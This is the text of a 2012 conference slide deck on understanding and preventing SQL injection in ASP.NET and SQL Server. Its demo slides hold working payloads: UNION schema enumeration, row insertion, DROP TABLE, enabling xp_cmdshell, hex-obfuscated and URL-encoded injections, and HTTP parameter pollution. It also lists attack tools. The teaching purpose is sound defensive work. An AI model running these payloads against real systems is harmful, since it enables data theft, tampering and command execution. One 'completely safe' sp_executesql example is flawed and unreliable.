abcd ’; drop table presentations; --

abcd’; DROP TABLE PRESENTATIONS; --

AKA SQL Injection: the fast, fun, and easy way to ruin someone’s day

Columbus Code Camp 2012Kevin Feasel

feaselkl@gmail.com

Understanding and Preventing SQL Injection

Who Am I?

• Database Administrator– Former web developer– SQL Server DBA– Currently working for

Aetna• Standard employer

disclaimer

• Security Nut• Cyclist• Occasional world

traveler

What Is SQL Injection?

• Injecting code in a manner the application developers did not expect– Example: your text box

populates @Parameter to do a lookup on a table. Bad guy overloads @Parameter to perform some unexpected operation

Why Should I Care?

• Not everyone is as nice as Good Guy Greg• By 2006, web application vulnerabilities had

become more popular than buffer overflows: http://cwe.mitre.org/documents/vuln-trends/index.html– Cross-site scripting #1, SQL Injection #2

• SQL Injection now #1: https://www.owasp.org/index.php/Top_10_2010-Main

• Imperva (2011): 83% of successful data breaches involve SQLi

Companies Which Should Have Cared

Has Sony Been Hacked This Week?

But I’m Just One Man; What Can I Do?

• As an attacker:– Get schema information– Get protected data– Perform “administrative” tasks

• Create bogus user accounts (including admins)• Create, drop, alter tables or views• Delete, update, or insert data

– Run arbitrary executable code• As a defender:– Protecting against SQL injection is stupid easy in ASP.NET

Jumping Right In

• Defense requires knowledge– To defend against SQL injection, we must know

how to perform SQL injection• Demo Setup

If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle. – Sun Tzu, The Art of War

Danger, Will Robinson

Need a reason to update your resume? Try putting this code on a production machine!

Goofus would:• Hack naked• Exploit external sites• Point out that résumé is

spelled with e-acutes

Demo Time: Put On Your Safety Goggles

• Starting in SQL Server Management Studio– Treat this as your lab

• Open up SQL Profiler– Watch the actual queries as they pass through

• Get rolling with Demo 1

What Went Wrong?

• SQL injection works by getting ‘outside’ the parameter

• We weren’t able to• Lesson 1: can’t inject

static SQL directly• Dynamic SQL– Ad hoc query– T-SQL Dynamic SQL

Demo #2: Win Or You’re Out Of The Family

• Try this again, using dynamic SQL• Survey says? Success.• Lesson 2: Using unsecured dynamic SQL, we

can successfully attack• Now we’re ready to look at practical

applications

Anatomy of a SQL injection attack

• Basic SQL query looks like: “select [cols] from [table] where [filter] like ‘%” + @Filter + “%’;”

• SQL comment line: -- • Example of a potential attack: @Filter = “boo’ OR 1 = 1; --”

• Turns into: “select [cols] from [table] where [filter] like ‘%boo’ OR 1 = 1; --%;”

The Naïve Developer

• Basic task: load a grid based upon filtering criteria entered into a text box

• Our naïve developer hits the Googles and finds out how to use a SqlDataReader

• The code works: searches are successful– Even checks the filter to make

sure a value exists

Having Fun With The Naïve Developer

• f%' OR 1 = 1--– Bypass the filter: list all records

• Not fun enough! Gimme more!• SHOOOO%' UNION select TABLE_SCHEMA + '.' +

TABLE_NAME, 1, 1 from INFORMATION_SCHEMA.TABLES--– Pick a name which doesn’t exist; now we have a list of tables

• SHOOOO%' UNION select COLUMN_NAME + '; ' + DATA_TYPE, case when IS_NULLABLE = 'NO' then 0 else 1 end, ORDINAL_POSITION from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'ProductSubcategory' and TABLE_SCHEMA = 'Production'--– Recon on a particular table

• SHOOOO%' UNION select Name, ProductSubcategoryID, ProductCategoryID from Production.ProductSubcategory--– Looking at the actual data in that table

Having Fun With The Naïve Developer

• SHOOOO%'; insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, 'Evil Hacker Subcategory', newid(), current_timestamp);--– Boom! Exploit complete.

• nada'; exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; --– Turn on xp_cmdshell, letting us run external apps

Our Developer’s Response

• Users mention this “evil hacker subcategory.” Developer investigates.

• More internet searching: dev learns about blacklisting and creates a filter for his filter– No more of this “select” and “insert” rubbish!

In Retrospect…

• Problem: the little old ladies using our program just got scared because they looked for the “Selected” subcategory

Back To The Drawing Board• Need a slightly less naïve approach to filtering• Our developer has a stroke of genius: evil hackers need to

use “select” + space, whereas our little old ladies would use “select” without a space. We now have a separating equilibrium.

• Problem: you’re doing it wrong.• Proof: SHOOOO%' UNION select TABLE_SCHEMA + '.' + TABLE_NAME, 1, 1 from INFORMATION_SCHEMA.TABLES--– Yeah, that’s a tab (hex 09). Other valid separators: 0A, 0B, 0C,

0D, A0

150 Copy-Pastes Later…• After adding various permutations of SQL commands +

separators…• declare @shmoo varchar(8000); set @shmoo = CAST(0x73656C656374095441424C455F534348454D41202B20272E27202B205441424C455F4E414D45206173204E616D652C20312061732049734163746976652C203120617320536F72744F726465722066726F6D20494E464F524D4154494F4E5F534348454D412E5441424C4553 as varchar(8000)); exec(@shmoo);

Translating The Varbinary

• select cast('select TABLE_SCHEMA + ''.'' + TABLE_NAME as Name, 1 as IsActive, 1 as SortOrder from INFORMATION_SCHEMA.TABLES' as varbinary(8000))

• Important note: this won’t combine data together– Varbinary runs are better for insert/update/delete operations

Other Fun Stuff We Can Do

• select CAST('insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, ''<a href="http://www.google.com">Hacker Domain</a>'', newid(), current_timestamp);' as varbinary(8000));– Add in undesired links. Hint from Heloise: this

looks suspiciously like the beginning of a cross-site scripting attack!

Other Fun Stuff We Can Do

select CAST('insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, ''<script type="text/javascript">alert("A")</script>'', newid(), current_timestamp);' as varbinary(8000));

Querystring Injection

• Helpful table to understand querystring injection:

Hex Code Character09 Tab

20 Space

25 %

27 ‘

2B +

2C ,

2D -

2E .

3D =

Querystring Injection

• http://localhost/SQLInjectionWorkbench/QueryDriven.aspx?search=bike%25%27%20or%201%3D1%2D%2D– Translates to: “bike%’ or 1=1--”

• The way we did the Slightly Less Naïve Stop actually helps us here by preventing some querystring attacks: http://localhost/SQLInjectionWorkbench/QueryDriven.aspx?search=bike%25%27%20union%20select%20table_schema%2B%27%2E%27%2BTABLE_NAME%20as%20Name%2C1%2C1%20from%20information_schema.tables%2D%2D – That “select%20” is equivalent to “select “

Querystring Injection

• Injecting other whitespace characters is as easy as %09…or %0A…

• http://localhost/SQLInjectionWorkbench/QueryDriven.aspx?search=prevention%25%27%20union%20select%09table_schema%2B%27%2E%27%2BTABLE_NAME%20as%20Name%2C1%2C1%20from%20information_schema.tables%2D%2D

HTTP Parameter Pollution

• In ASP.NET, including a parameter multiple times causes the different entries to be concatenated and separated by commas:

• http://localhost/SQLInjectionWorkbench/QueryDriven.aspx?search=36&search=jump&search=street– Turns into “36,jump,street” in our search

• This can be used for evil.– Any guesses how?

HTTP Parameter Pollution

• http://localhost/SQLInjectionWorkbench/QueryDriven.aspx?search=prevention%25%27%20union%20select%2F%2A&search=%2A%2F%20table_schema%2B%27%2E%27%2BTABLE_NAME%20as%20Name%2C1%2C1%20from%20information_schema.tables%2D%2D– %2F%2A = /*– Translates to “select/*,*/ table_schema…”

HTTP Parameter Pollution• HTTP Parameter Pollution is something most people don’t even

think about– It doesn’t help that different platforms react in different ways—

concatenate, ignore all but the last, etc.

Effects On Different Platforms

https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

Doing It Right: Parameterized Queries

• The right way to do it:– All parameters created using SqlParamter– Not necessary to use stored procedures, though in

SQL Server, this is preferable• Stored Procedure-Driven Test not susceptible

to SQL injection. You are safe from this issue.• Secure Query-Driven Test not susceptible

either

Adding Dynamic SQL Into The Mix

• Basic insecure dynamic SP:• create procedure BadProc

@Filter nvarchar(500)as

declare @sql varchar(250);set @sql = ‘select * from table where

Name like ‘’%’ + @Filter + ‘%’’;’;exec(@sql);

• The basic problem is the same as in the query-driven injection example: that @Filter is not sanitized or parameterized.

Attacking Insecure Dynamic SPs

• Easy to perform attacks on unprotected dynamic stored procedures from SSMS:

• exec BadProc @Filter='SHOOOO%'' UNION select TABLE_SCHEMA + ''.'' + TABLE_NAME, 1, 1 from INFORMATION_SCHEMA.TABLES--';

• Parameterized queries prevent this from being an issue in ASP.NET

Protecting Your Dynamic SPs• Use sp_executesql

– Could also use a combo of QUOTENAME and REPLACE• Include the parameter as a parameter inside the @sql to run• Example: declare @sql nvarchar(max); set @sql = 'select ProductSubcategoryID, ProductCategoryID, Name from Production.ProductSubcategory where Name like ''%@Filter%'';'; exec sp_executesql @sql, N'@Filter varchar(200)', @Filter;

• Once you do this, you are completely safe from SQL injection.

Recap: What To Do• Parameterize Your Queries!

– Use SqlParameter to handle input in ASP.Net– Use sp_executesql correctly when you do use dynamic SQL

• Understand your data domain– Correct data sizes (not too large)– Input field has correct length– Regular expressions for well-defined field types (e.g., phone number, Social

Security Number)• Blacklists usually don’t work, but whitelists can

• Create limited-access accounts for web applications• Constraints in UI, business objects, and database

– Defense in depth– This isn’t really a violation of DRY– If I can beat two of your three checks, the third could still stop me

Next Steps

• Automation– Havij (most popular; easy GUI)– Sqlmap (my favorite)– BSQL Hacker (blind SQL injection)– BBQSQL (Python-based blind SQL injection)– Fast-Track (Metasploit module)– Plenty more where this came from

• Really evil stuff

Q&A

Kevin Feaselfeaselkl@gmail.com